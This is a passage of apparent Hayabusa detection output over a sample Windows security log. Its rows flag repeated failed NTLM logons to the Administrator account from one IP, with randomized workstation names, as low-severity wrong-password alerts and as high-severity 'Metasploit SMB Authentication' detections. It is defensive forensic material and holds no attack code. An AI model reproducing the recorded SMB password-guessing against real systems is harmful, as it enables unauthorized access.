Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.101 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 02qkYtCIrOj38agd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.101 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: atDwGfxC4RLYYDAF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.150 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fCTUmKwLxkKCoCTn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.195 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DBE7Y8yJMNSkJlaK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N7VGVfH05BC7bgaZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.276 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lP7kC2ayRIEeL5sw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.309 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2cQOn41cB2t0ZkSP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.398 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PpOyXZwlcCw63tWP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.398 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7R8yD7A0lCU16Z0t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.445 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.481 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: frasd7f8On0O7B6k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.481 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.529 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FtOqqV6rkCIZPPFG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.529 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lnwn4dc1lKABRKxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.585 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CiUnLFzfXR6rER9B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u1InESrL0ebaRw2z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IlLAG8gXt9YNeW4H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.757 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uZIWubLvZcDOWHxr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.757 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FZazp7ZnBrtswAse : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jqK5Vqf0QF4qtg0A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.849 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k3JvFwi9gDNbO6Sj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fBubAOTZMsahNG0Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.932 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KCxrXG3N1IRzDxxM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.981 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e2h9M7o0lS7oC00a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.024 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.074 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pprfGGVZblL64xC3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.074 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wxgzMKd7eDwzs8WO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.127 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q2RljqAhn0NZhR6O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.238 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rcxQVtjMqnE1wGfr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.268 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fSRggYsSiJGsGSyV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.321 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yQqfSKOyKLSILPrQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.374 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k7oAI2q6YCu8btlK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.552 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KniVwndqE9aC6cIM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.610 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FgQbvpfuS11matJi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.702 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R9TwJS4B9ZaDD2Ze : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.702 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IPUuoopOnwlTjlTP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.749 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.806 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9VEyOUuiOi8Q3JBJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.806 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pGGGazMTBBfrppDZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.862 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.919 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NKO4V35Y2qPEB59W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.919 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WxVdhpR7ZnAluurU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.964 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gZjAZb9bQKZjwL8u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.066 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aKyLX5ChpgBuFEbr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.066 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 49t2xJvH2yHcyHle : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.112 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sg9Z6Pyix2UkMolr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0NN2olYn97ZoYCja : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.210 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.249 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S98j54bDGsz0k6g9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.249 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XxFEw9s0nnEQGzUN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.284 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wSswFHFSlqcQd47k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.342 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7icutlVIWSLZJszQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DSwyugYn0n3i5f25 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.440 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 